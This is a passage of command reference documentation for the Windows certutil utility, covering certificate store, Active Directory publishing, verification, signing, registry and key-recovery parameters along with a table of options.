Adds a certificate to the store. For more info, see the -store parameter in this article.

certutil [options] -addstore certificatestorename infile

Where:

  • certificatestorename is the certificate store name.

  • infile is the certificate or CRL file you want to add to store.

[-f] [-user] [-enterprise] [-grouppolicy] [-dc DCName]

-delstore

Deletes a certificate from the store. For more info, see the -store parameter in this article.

certutil [options] -delstore certificatestorename certID

Where:

  • certificatestorename is the certificate store name.

  • certID is the certificate or CRL match token.

[-enterprise] [-user] [-grouppolicy] [-dc DCName]

-verifystore

Verifies a certificate in the store. For more info, see the -store parameter in this article.

certutil [options] -verifystore certificatestorename [certID]

Where:

  • certificatestorename is the certificate store name.

  • certID is the certificate or CRL match token.

[-enterprise] [-user] [-grouppolicy] [-silent] [-split] [-dc DCName] [-t timeout]

-repairstore

Repairs a key association or update certificate properties or the key security descriptor. For more info, see the -store parameter in this article.

certutil [options] -repairstore certificatestorename certIDlist [propertyinffile | SDDLsecuritydescriptor]

Where:

  • certificatestorename is the certificate store name.

  • certIDlist is the comma-separated list of certificate or CRL match tokens. For more info, see the -store certID description in this article.

  • propertyinffile is the INF file containing external properties, including:

    [Properties]
    19 = Empty ; Add archived property, OR:
    19 =       ; Remove archived property

    11 = {text}Friendly Name ; Add friendly name property

    127 = {hex} ; Add custom hexadecimal property
        _continue_ = 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
        _continue_ = 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f

    2 = {text} ; Add Key Provider Information property
      _continue_ = Container=Container Name&
      _continue_ = Provider=Microsoft Strong Cryptographic Provider&
      _continue_ = ProviderType=1&
      _continue_ = Flags=0&
      _continue_ = KeySpec=2

    9 = {text} ; Add Enhanced Key Usage property
      _continue_ = 1.3.6.1.5.5.7.3.2,
      _continue_ = 1.3.6.1.5.5.7.3.1,

[-f] [-enterprise] [-user] [-grouppolicy] [-silent] [-split] [-csp provider]

-viewstore

Dumps the certificates store. For more info, see the -store parameter in this article.

certutil [options] -viewstore [certificatestorename [certID [outputfile]]]

Where:

  • certificatestorename is the certificate store name.

  • certID is the certificate or CRL match token.

  • outputfile is the file used to save the matching certificates.

[-f] [-user] [-enterprise] [-service] [-grouppolicy] [-dc DCName]
Options

  • The -user option accesses a user store instead of a machine store.

  • The -enterprise option accesses a machine enterprise store.

  • The -service option accesses a machine service store.

  • The -grouppolicy option accesses a machine group policy store.

For example:

  • -enterprise NTAuth

  • -enterprise Root 37

  • -user My 26e0aaaf000000000004

  • CA .11

-viewdelstore

Deletes a certificate from the store.

certutil [options] -viewdelstore [certificatestorename [certID [outputfile]]]

Where:

  • certificatestorename is the certificate store name.

  • certID is the certificate or CRL match token.

  • outputfile is the file used to save the matching certificates.

[-f] [-user] [-enterprise] [-service] [-grouppolicy] [-dc DCName]
Options

  • The -user option accesses a user store instead of a machine store.

  • The -enterprise option accesses a machine enterprise store.

  • The -service option accesses a machine service store.

  • The -grouppolicy option accesses a machine group policy store.

For example:

  • -enterprise NTAuth

  • -enterprise Root 37

  • -user My 26e0aaaf000000000004

  • CA .11

-dspublish

Publishes a certificate or certificate revocation list (CRL) to Active Directory.

certutil [options] -dspublish certfile [NTAuthCA | RootCA | SubCA | CrossCA | KRA | User | Machine]

certutil [options] -dspublish CRLfile [DSCDPContainer [DSCDPCN]]

Where:

  • certfile is the name of the certificate file to publish.

  • NTAuthCA publishes the certificate to the DS Enterprise store.

  • RootCA publishes the certificate to the DS Trusted Root store.

  • SubCA publishes the CA certificate to the DS CA object.

  • CrossCA publishes the cross-certificate to the DS CA object.

  • KRA publishes the certificate to the DS Key Recovery Agent object.

  • User publishes the certificate to the User DS object.

  • Machine publishes the certificate to the Machine DS object.

  • CRLfile is the name of the CRL file to publish.

  • DSCDPContainer is the DS CDP container CN, usually the CA machine name.

  • DSCDPCN is the DS CDP object CN, usually based on the sanitized CA short name and key index.

  • Use -f to create a new DS object.

[-f] [-user] [-dc DCName]

-adtemplate

Displays Active Directory templates.

certutil [options] -adtemplate [template]

[-f] [-user] [-ut] [-mt] [-dc DCName]

-template

Displays the certificate templates.

certutil [options] -template [template]

[-f] [-user] [-silent] [-policyserver URLorID] [-anonymous] [-kerberos] [-clientcertificate clientcertID] [-username username] [-p password]

-templatecas

Displays the certification authorities (CAs) for a certificate template.

certutil [options] -templatecas template

[-f] [-user] [-dc DCName]

-catemplates

Displays templates for the Certificate Authority.

certutil [options] -catemplates [template]

[-f] [-user] [-ut] [-mt] [-config Machine\CAName] [-dc DCName]

-setcasites

Manages site names, including setting, verifying, and deleting Certificate Authority site names

certutil [options] -setcasites [set] [sitename]
certutil [options] -setcasites verify [sitename]
certutil [options] -setcasites delete

Where:

  • sitename is allowed only when targeting a single Certificate Authority.
[-f] [-config Machine\CAName] [-dc DCName]
Remarks

  • The -config option targets a single Certificate Authority (Default is all CAs).

  • The -f option can be used to override validation errors for the specified sitename or to delete all CA sitenames.

[!NOTE] For more information about configuring CAs for Active Directory Domain Services (AD DS) site awareness, see AD DS Site Awareness for AD CS and PKI clients.

-enrollmentserverURL

Displays, adds, or deletes enrollment server URLs associated with a CA.

certutil [options] -enrollmentServerURL [URL authenticationtype [priority] [modifiers]]
certutil [options] -enrollmentserverURL URL delete

Where:

  • authenticationtype specifies one of the following client authentication methods, while adding a URL:

    1. kerberos - Use Kerberos SSL credentials.

    2. username - Use a named account for SSL credentials.

    3. clientcertificate: - Use X.509 Certificate SSL credentials.

    4. anonymous - Use anonymous SSL credentials.

  • delete deletes the specified URL associated with the CA.

  • priority defaults to 1 if not specified when adding a URL.

  • modifiers is a comma-separated list, which includes one or more of the following:

  1. allowrenewalsonly - Only renewal requests can be submitted to this CA via this URL.

  2. allowkeybasedrenewal - Allows use of a certificate that has no associated account in the AD. This applies only with clientcertificate and allowrenewalsonly Mode

[-config Machine\CAName] [-dc DCName]

-adca

Displays Active Directory Certificate Authorities.

certutil [options] -adca [CAName]

[-f] [-split] [-dc DCName]

-ca

Displays enrollment policy Certificate Authorities.

certutil [options] -CA [CAName | templatename]

[-f] [-user] [-silent] [-split] [-policyserver URLorID] [-anonymous] [-kerberos] [-clientcertificate clientcertID] [-username username] [-p password]

-policy

Displays the enrollment policy.

[-f] [-user] [-silent] [-split] [-policyserver URLorID] [-anonymous] [-kerberos] [-clientcertificate clientcertID] [-username username] [-p password]

-policycache

Displays or deletes enrollment policy cache entries.

certutil [options] -policycache [delete]

Where:

  • delete deletes the policy server cache entries.

  • -f deletes all cache entries

[-f] [-user] [-policyserver URLorID]

-credstore

Displays, adds, or deletes Credential Store entries.

certutil [options] -credstore [URL]
certutil [options] -credstore URL add
certutil [options] -credstore URL delete

Where:

  • URL is the target URL. You can also use * to match all entries or https://machine* to match a URL prefix.

  • add adds a credential store entry. Using this option also requires the use of SSL credentials.

  • delete deletes credential store entries.

  • -f overwrites a single entry or deletes multiple entries.

[-f] [-user] [-silent] [-anonymous] [-kerberos] [-clientcertificate clientcertID] [-username username] [-p password]

-installdefaulttemplates

Installs default certificate templates.

certutil [options] -installdefaulttemplates

[-dc DCName]

-URLcache

Displays or deletes URL cache entries.

certutil [options] -URLcache [URL | CRL | * [delete]]

Where:

  • URL is the cached URL.

  • CRL runs on all cached CRL URLs only.

  • * operates on all cached URLs.

  • delete deletes relevant URLs from the current user’s local cache.

  • -f forces fetching a specific URL and updating the cache.

[-f] [-split]

-pulse

Pulses auto enrollment events.

certutil [options] -pulse

[-user]

-machineinfo

Displays information about the Active Directory machine object.

certutil [options] -machineinfo domainname\machinename$

-DCInfo

Displays information about the domain controller. The default displays DC certificates without verification.

certutil [options] -DCInfo [domain] [verify | deletebad | deleteall]

[-f] [-user] [-urlfetch] [-dc DCName] [-t timeout]

[!TIP] The ability to specify an Active Directory Domain Services (AD DS) domain [Domain] and to specify a domain controller (-dc) was added in Windows Server 2012. To successfully run the command, you must use an account that is a member of Domain Admins or Enterprise Admins. The behavior modifications of this command are as follows:<ol><li>1. If a domain is not specified and a specific domain controller is not specified, this option returns a list of domain controllers to process from the default domain controller.</li><li>2. If a domain is not specified, but a domain controller is specified, a report of the certificates on the specified domain controller is generated.</li><li>3. If a domain is specified, but a domain controller is not specified, a list of domain controllers is generated along with reports on the certificates for each domain controller in the list.</li><li>4. If the domain and domain controller are specified, a list of domain controllers is generated from the targeted domain controller. A report of the certificates for each domain controller in the list is also generated.</li></ol>

For example, assume there is a domain named CPANDL with a domain controller named CPANDL-DC1. You can run the following command to a retrieve a list of domain controllers and their certificates that from CPANDL-DC1: certutil -dc cpandl-dc1 -DCInfo cpandl

-entinfo

Displays information about an enterprise Certificate Authority.

certutil [options] -entinfo domainname\machinename$

[-f] [-user]

-tcainfo

Displays information about the Certificate Authority.

certutil [options] -tcainfo [domainDN | -]

[-f] [-enterprise] [-user] [-urlfetch] [-dc DCName] [-t timeout]

-scinfo

Displays information about the smart card.

certutil [options] -scinfo [readername [CRYPT_DELETEKEYSET]]

Where:

  • CRYPT_DELETEKEYSET deletes all keys on the smart card.
[-silent] [-split] [-urlfetch] [-t timeout]

-scroots

Manages smart card root certificates.

certutil [options] -scroots update [+][inputrootfile] [readername]
certutil [options] -scroots save \@in\\outputrootfile [readername]
certutil [options] -scroots view [inputrootfile | readername]
certutil [options] -scroots delete [readername]

[-f] [-split] [-p Password]

-verifykeys

Verifies a public or private key set.

certutil [options] -verifykeys [keycontainername cacertfile]

Where:

  • keycontainername is the key container name for the key to verify. This option defaults to machine keys. To switch to user keys, use -user.

  • cacertfile signs or encrypts certificate files.

[-f] [-user] [-silent] [-config Machine\CAName]
Remarks

  • If no arguments are specified, each signing CA certificate is verified against its private key.

  • This operation can only be performed against a local CA or local keys.

-verify

Verifies a certificate, certificate revocation list (CRL), or certificate chain.

certutil [options] -verify certfile [applicationpolicylist | - [issuancepolicylist]]
certutil [options] -verify certfile [cacertfile [crossedcacertfile]]
certutil [options] -verify CRLfile cacertfile [issuedcertfile]
certutil [options] -verify CRLfile cacertfile [deltaCRLfile]

Where:

  • certfile is the name of the certificate to verify.

  • applicationpolicylist is the optional comma-separated list of required Application Policy ObjectIds.

  • issuancepolicylist is the optional comma-separated list of required Issuance Policy ObjectIds.

  • cacertfile is the optional issuing CA certificate to verify against.

  • crossedcacertfile is the optional certificate cross-certified by certfile.

  • CRLfile is the CRL file used to verify the cacertfile.

  • issuedcertfile is the optional issued certificate covered by the CRLfile.

  • deltaCRLfile is the optional delta CRL file.

[-f] [-enterprise] [-user] [-silent] [-split] [-urlfetch] [-t timeout]
Remarks

  • Using applicationpolicylist restricts chain building to only chains valid for the specified Application Policies.

  • Using issuancepolicylist restricts chain building to only chains valid for the specified Issuance Policies.

  • Using cacertfile verifies the fields in the file against certfile or CRLfile.

  • Using issuedcertfile verifies the fields in the file against CRLfile.

  • Using deltaCRLfile verifies the fields in the file against certfile.

  • If cacertfile isn’t specified, the full chain is built and verified against certfile.

  • If cacertfile and crossedcacertfile are both specified, the fields in both files are verified against certfile.

-verifyCTL

Verifies the AuthRoot or Disallowed Certificates CTL.

certutil [options] -verifyCTL CTLobject [certdir] [certfile]

Where:

  • CTLobject identifies the CTL to verify, including:

    • AuthRootWU - Reads the AuthRoot CAB and matching certificates from the URL cache. Use -f to download from Windows Update instead.

    • DisallowedWU - Reads the Disallowed Certificates CAB and disallowed certificate store file from the URL cache. Use -f to download from Windows Update instead.

    • AuthRoot - Reads the registry-cached AuthRoot CTL. Use with -f and an untrusted certfile to force the registry cached AuthRoot and Disallowed Certificate CTLs to update.

    • Disallowed - Reads the registry-cached Disallowed Certificates CTL. Use with -f and an untrusted certfile to force the registry cached AuthRoot and Disallowed Certificate CTLs to update.

  • CTLfilename specifies the file or http path to the CTL or CAB file.

  • certdir specifies the folder containing certificates matching the CTL entries. Defaults to the same folder or website as the CTLobject. Using an http folder path requires a path separator at the end. If you don’t specify AuthRoot or Disallowed, multiple locations will be searched for matching certificates, including local certificate stores, crypt32.dll resources and the local URL cache. Use -f to download from Windows Update, as needed.

  • certfile specifies the certificate(s) to verify. Certificates are matched against CTL entries, displaying the results. This option suppresses most of the default output.

[-f] [-user] [-split]

-sign

Re-signs a certificate revocation list (CRL) or certificate.

certutil [options] -sign infilelist | serialnumber | CRL outfilelist [startdate+dd:hh] [+serialnumberlist | -serialnumberlist | -objectIDlist | \@extensionfile]
certutil [options] -sign infilelist | serialnumber | CRL outfilelist [#hashalgorithm] [+alternatesignaturealgorithm | -alternatesignaturealgorithm]

Where:

  • infilelist is the comma-separated list of certificate or CRL files to modify and re-sign.

  • serialnumber is the serial number of the certificate to create. The validity period and other options can’t be present.

  • CRL creates an empty CRL. The validity period and other options can’t be present.

  • outfilelist is the comma-separated list of modified certificate or CRL output files. The number of files must match infilelist.

  • startdate+dd:hh is the new validity period for the certificate or CRL files, including:

    • optional date plus

    • optional days and hours validity period

    If both are specified, you must use a plus sign (+) separator. Use now[+dd:hh] to start at the current time. Use never to have no expiration date (for CRLs only).

  • serialnumberlist is the comma-separated serial number list of the files to add or remove.

  • objectIDlist is the comma-separated extension ObjectId list of the files to remove.

  • \@extensionfile is the INF file that contains the extensions to update or remove. For example:

    [Extensions]
    2.5.29.31 = ; Remove CRL Distribution Points extension
    2.5.29.15 = {hex} ; Update Key Usage extension
    _continue_=03 02 01 86

  • hashalgorithm is the name of the hash algorithm. This must only be the text preceded by the # sign.

  • alternatesignaturealgorithm is the alternate signature algorithm specifier.

[-nullsign] [-f] [-silent] [-cert certID]
Remarks

  • Using the minus sign (-) removes serial numbers and extensions.

  • Using the plus sign (+) adds serial numbers to a CRL.

  • You can use a list to remove both serial numbers and ObjectIDs from a CRL at the same time.

  • Using the minus sign before alternatesignaturealgorithm allows you to use the legacy signature format. Using the plus sign allows you to use the alternate signature format. If you don’t specify alternatesignaturealgorithm, the signature format in the certificate or CRL is used.

-vroot

Creates or deletes web virtual roots and file shares.

certutil [options] -vroot [delete]

-vocsproot

Creates or deletes web virtual roots for an OCSP web proxy.

certutil [options] -vocsproot [delete]

-addenrollmentserver

Add an Enrollment Server application and application pool if necessary, for the specified Certificate Authority. This command does not install binaries or packages.

certutil [options] -addenrollmentserver kerberos | username | clientcertificate [allowrenewalsonly] [allowkeybasedrenewal]

Where:

  • addenrollmentserver requires you to use an authentication method for the client connection to the Certificate Enrollment Server, including:

    • kerberos uses Kerberos SSL credentials.

    • username uses named account for SSL credentials.

    • clientcertificate uses X.509 Certificate SSL credentials.

  • allowrenewalsonly allows only renewal request submissions to the Certificate Authority through the URL.

  • allowkeybasedrenewal allows use of a certificate with no associated account in Active Directory. This applies when used with clientcertificate and allowrenewalsonly mode.

[-config Machine\CAName]

-deleteenrollmentserver

Deletes an Enrollment Server application and application pool if necessary, for the specified Certificate Authority. This command does not install binaries or packages.

certutil [options] -deleteenrollmentserver kerberos | username | clientcertificate

Where:

  • deleteenrollmentserver requires you to use an authentication method for the client connection to the Certificate Enrollment Server, including:

    • kerberos uses Kerberos SSL credentials.

    • username uses named account for SSL credentials.

    • clientcertificate uses X.509 Certificate SSL credentials.

[-config Machine\CAName]

-addpolicyserver

Add a Policy Server application and application pool, if necessary. This command does not install binaries or packages.

certutil [options] -addpolicyserver kerberos | username | clientcertificate [keybasedrenewal]

Where:

  • addpolicyserver requires you to use an authentication method for the client connection to the Certificate Policy Server, including:

    • kerberos uses Kerberos SSL credentials.

    • username uses named account for SSL credentials.

    • clientcertificate uses X.509 Certificate SSL credentials.

  • keybasedrenewal allows use of policies returned to the client containing keybasedrenewal templates. This option applies only for username and clientcertificate authentication.

-deletepolicyserver

Deletes a Policy Server application and application pool, if necessary. This command does not remove binaries or packages.

certutil [options] -deletePolicyServer kerberos | username | clientcertificate [keybasedrenewal]

Where:

  • deletepolicyserver requires you to use an authentication method for the client connection to the Certificate Policy Server, including:

    • kerberos uses Kerberos SSL credentials.

    • username uses named account for SSL credentials.

    • clientcertificate uses X.509 Certificate SSL credentials.

  • keybasedrenewal allows use of a KeyBasedRenewal policy server.

-oid

Displays the object identifier or set a display name.

certutil [options] -oid objectID [displayname | delete [languageID [type]]]
certutil [options] -oid groupID
certutil [options] -oid agID | algorithmname [groupID]

Where:

  • objectID displays or to adds the display name.

  • groupID is the groupID number (decimal) that objectIDs enumerate.

  • algID is the hexadecimal ID that objectID looks up.

  • algorithmname is the algorithm name that objectID looks up.

  • displayname displays the name to store in DS.

  • delete deletes the display name.

  • LanguageId is the language ID value (defaults to current: 1033).

  • Type is the type of DS object to create, including:

    • 1 - Template (default)

    • 2 - Issuance Policy

    • 3 - Application Policy

  • -f creates a DS object.

-error

Displays the message text associated with an error code.

certutil [options] -error errorcode

-getreg

Displays a registry value.

certutil [options] -getreg [{ca | restore | policy | exit | template | enroll |chain | policyservers}\[progID\]][registryvaluename]

Where:

  • ca uses a Certificate Authority’s registry key.

  • restore uses Certificate Authority’s restore registry key.

  • policy uses the policy module’s registry key.

  • exit uses the first exit module’s registry key.

  • template uses the template registry key (use -user for user templates).

  • enroll uses the enrollment registry key (use -user for user context).

  • chain uses the chain configuration registry key.

  • policyservers uses the Policy Servers registry key.

  • progID uses the policy or exit module’s ProgID (registry subkey name).

  • registryvaluename uses the registry value name (use Name* to prefix match).

  • value uses the new numeric, string or date registry value or filename. If a numeric value starts with + or -, the bits specified in the new value are set or cleared in the existing registry value.

[-f] [-user] [-grouppolicy] [-config Machine\CAName]
Remarks

  • If a string value starts with + or -, and the existing value is a REG_MULTI_SZ value, the string is added to or removed from the existing registry value. To force creation of a REG_MULTI_SZ value, add \n to the end of the string value.

  • If the value starts with \@, the rest of the value is the name of the file containing the hexadecimal text representation of a binary value. If it doesn’t refer to a valid file, it’s instead parsed as [Date][+|-][dd:hh] - an optional date plus or minus optional days and hours. If both are specified, use a plus sign (+) or minus sign (-) separator. Use now+dd:hh for a date relative to the current time.

  • Use chain\chaincacheresyncfiletime \@now to effectively flush cached CRLs.

-setreg

Sets a registry value.

certutil [options] -setreg [{ca | restore | policy | exit | template | enroll |chain | policyservers}\[progID\]]registryvaluename value

Where:

  • ca uses a Certificate Authority’s registry key.

  • restore uses Certificate Authority’s restore registry key.

  • policy uses the policy module’s registry key.

  • exit uses the first exit module’s registry key.

  • template uses the template registry key (use -user for user templates).

  • enroll uses the enrollment registry key (use -user for user context).

  • chain uses the chain configuration registry key.

  • policyservers uses the Policy Servers registry key.

  • progID uses the policy or exit module’s ProgID (registry subkey name).

  • registryvaluename uses the registry value name (use Name* to prefix match).

  • value uses the new numeric, string or date registry value or filename. If a numeric value starts with + or -, the bits specified in the new value are set or cleared in the existing registry value.

[-f] [-user] [-grouppolicy] [-config Machine\CAName]
Remarks

  • If a string value starts with + or -, and the existing value is a REG_MULTI_SZ value, the string is added to or removed from the existing registry value. To force creation of a REG_MULTI_SZ value, add \n to the end of the string value.

  • If the value starts with \@, the rest of the value is the name of the file containing the hexadecimal text representation of a binary value. If it doesn’t refer to a valid file, it’s instead parsed as [Date][+|-][dd:hh] - an optional date plus or minus optional days and hours. If both are specified, use a plus sign (+) or minus sign (-) separator. Use now+dd:hh for a date relative to the current time.

  • Use chain\chaincacheresyncfiletime \@now to effectively flush cached CRLs.

-delreg

Deletes a registry value.

certutil [options] -delreg [{ca | restore | policy | exit | template | enroll |chain | policyservers}\[progID\]][registryvaluename]

Where:

  • ca uses a Certificate Authority’s registry key.

  • restore uses Certificate Authority’s restore registry key.

  • policy uses the policy module’s registry key.

  • exit uses the first exit module’s registry key.

  • template uses the template registry key (use -user for user templates).

  • enroll uses the enrollment registry key (use -user for user context).

  • chain uses the chain configuration registry key.

  • policyservers uses the Policy Servers registry key.

  • progID uses the policy or exit module’s ProgID (registry subkey name).

  • registryvaluename uses the registry value name (use Name* to prefix match).

  • value uses the new numeric, string or date registry value or filename. If a numeric value starts with + or -, the bits specified in the new value are set or cleared in the existing registry value.

[-f] [-user] [-grouppolicy] [-config Machine\CAName]
Remarks

  • If a string value starts with + or -, and the existing value is a REG_MULTI_SZ value, the string is added to or removed from the existing registry value. To force creation of a REG_MULTI_SZ value, add \n to the end of the string value.

  • If the value starts with \@, the rest of the value is the name of the file containing the hexadecimal text representation of a binary value. If it doesn’t refer to a valid file, it’s instead parsed as [Date][+|-][dd:hh] - an optional date plus or minus optional days and hours. If both are specified, use a plus sign (+) or minus sign (-) separator. Use now+dd:hh for a date relative to the current time.

  • Use chain\chaincacheresyncfiletime \@now to effectively flush cached CRLs.

-importKMS

Imports user keys and certificates into the server database for key archival.

certutil [options] -importKMS userkeyandcertfile [certID]

Where:

  • userkeyandcertfile is a data file with user private keys and certificates that are to be archived. This file can be:

    • An Exchange Key Management Server (KMS) export file.

    • A PFX file.

  • certID is a KMS export file decryption certificate match token. For more info, see the -store parameter in this article.

  • -f imports certificates not issued by the Certificate Authority.

[-f] [-silent] [-split] [-config Machine\CAName] [-p password] [-symkeyalg symmetrickeyalgorithm[,keylength]]

-importcert

Imports a certificate file into the database.

certutil [options] -importcert certfile [existingrow]

Where:

  • existingrow imports the certificate in place of a pending request for the same key.

  • -f imports certificates not issued by the Certificate Authority.

[-f] [-config Machine\CAName]
Remarks

The Certificate Authority may also need to be configured to support foreign certificates. To do this, type import - certutil -setreg ca\KRAFlags +KRAF_ENABLEFOREIGN.

-getkey

Retrieves an archived private key recovery blob, generates a recovery script, or recovers archived keys.

certutil [options] -getkey searchtoken [recoverybloboutfile]
certutil [options] -getkey searchtoken script outputscriptfile
certutil [options] -getkey searchtoken retrieve | recover outputfilebasename

Where:

  • script generates a script to retrieve and recover keys (default behavior if multiple matching recovery candidates are found, or if the output file is not specified).

  • retrieve retrieves one or more Key Recovery Blobs (default behavior if exactly one matching recovery candidate is found, and if the output file is specified). Using this option truncates any extension and appends the certificate-specific string and the .rec extension for each key recovery blob. Each file contains a certificate chain and an associated private key, still encrypted to one or more Key Recovery Agent certificates.

  • recover retrieves and recovers private keys in one step (requires Key Recovery Agent certificates and private keys). Using this option truncates any extension and appends the .p12 extension. Each file contains the recovered certificate chains and associated private keys, stored as a PFX file.

  • searchtoken selects the keys and certificates to be recovered, including:

      1. Certificate Common Name
      1. Certificate Serial Number
      1. Certificate SHA-1 hash (thumbprint)
      1. Certificate KeyId SHA-1 hash (Subject Key Identifier)
      1. Requester Name (domain\user)
      1. UPN (user\@domain)

  • recoverybloboutfile outputs a file with a certificate chain and an associated private key, still encrypted to one or more Key Recovery Agent certificates.

  • outputscriptfile outputs a file with a batch script to retrieve and recover private keys.

  • outputfilebasename outputs a file base name.

[-f] [-unicodetext] [-silent] [-config Machine\CAName] [-p password] [-protectto SAMnameandSIDlist] [-csp provider]

-recoverkey

Recover an archived private key.

certutil [options] -recoverkey recoveryblobinfile [PFXoutfile [recipientindex]]

[-f] [-user] [-silent] [-split] [-p password] [-protectto SAMnameandSIDlist] [-csp provider] [-t timeout]

-mergePFX

Merges PFX files.

certutil [options] -mergePFX PFXinfilelist PFXoutfile [extendedproperties]

Where:

  • PFXinfilelist is a comma-separated list of PFX input files.

  • PFXoutfile is the name of the PFX output file.

  • extendedproperties includes any extended properties.

[-f] [-user] [-split] [-p password] [-protectto SAMnameAndSIDlist] [-csp provider]
Remarks

  • The password specified on the command line must be a comma-separated password list.

  • If more than one password is specified, the last password is used for the output file. If only one password is provided or if the last password is *, the user will be prompted for the output file password.

-convertEPF

Converts a PFX file into an EPF file.

certutil [options] -convertEPF PFXinfilelist PFXoutfile [cast | cast-] [V3CAcertID][,salt]

Where:

  • PFXinfilelist is a comma-separated list of PFX input files.

  • PFXoutfile is the name of the PFX output file.

  • EPF is the name of the EPF output file.

  • cast uses CAST 64 encryption.

  • cast- uses CAST 64 encryption (export)

  • V3CAcertID is the V3 CA certificate match token. For more info, see the -store parameter in this article.

  • salt is the EPF output file salt string.

[-f] [-silent] [-split] [-dc DCName] [-p password] [-csp provider]
Remarks

  • The password specified on the command line must be a comma-separated password list.

  • If more than one password is specified, the last password is used for the output file. If only one password is provided or if the last password is *, the user will be prompted for the output file password.

-?

Displays the list of parameters.

certutil -?
certutil <name_of_parameter> -?
certutil -? -v

Where:

  • -? displays the full list of parameters

  • -<name_of_parameter> -? displays help content for the specified parameter.

  • -? -v displays a full list of parameters and options.

Options

This section defines all of the options you’re able to specify, based on the command. Each parameter includes information about which options are valid for use.

Options Description
-nullsign Use the hash of the data as a signature.
-f Force overwrite.
-enterprise Use the local machine enterprise registry certificate store.
-user Use the HKEY_CURRENT_USER keys or certificate store.
-GroupPolicy Use the group policy certificate store.
-ut Display user templates.
-mt Display machine templates.
-Unicode Write redirected output in Unicode.
-UnicodeText Write output file in Unicode.
-gmt Display times using GMT.
-seconds Display times using seconds and milliseconds.
-silent Use the silent flag to acquire crypt context.
-split Split embedded ASN.1 elements, and save to files.
-v Provide more detailed (verbose) information.
-privatekey Display password and private key data.
-pin PIN Smart card PIN.
-urlfetch Retrieve and verify AIA Certs and CDP CRLs.
-config Machine\CAName Certificate Authority and computer name string.
-policyserver URLorID Policy Server URL or ID. For selection U/I, use -policyserver. For all Policy Servers, use -policyserver *
-anonymous Use anonymous SSL credentials.
-kerberos Use Kerberos SSL credentials.
-clientcertificate clientcertID Use X.509 Certificate SSL credentials. For selection U/I, use -clientcertificate.
-username username Use named account for SSL credentials. For selection U/I, use -username.
-cert certID Signing certificate.
-dc DCName Target a specific Domain Controller.
-restrict restrictionlist Comma-separated Restriction List. Each restriction consists of a column name, a relational operator and a constant integer, string or date. One column name may be preceded by a plus or minus sign to indicate the sort order. For example: requestID = 47, +requestername >= a, requestername, or -requestername > DOMAIN, Disposition = 21
-out columnlist Comma-separated column list.
-p password Password
-protectto SAMnameandSIDlist Comma-separated SAM name/SID list.
-csp provider Provider
-t timeout URL fetch timeout in milliseconds.
-symkeyalg symmetrickeyalgorithm[,keylength] Name of the Symmetric Key Algorithm with optional key length. For example: AES,128 or 3DES

Additional References

For some more examples about how to use this command, see

MIT License. Copyright (c) 2020-2021 Strontic.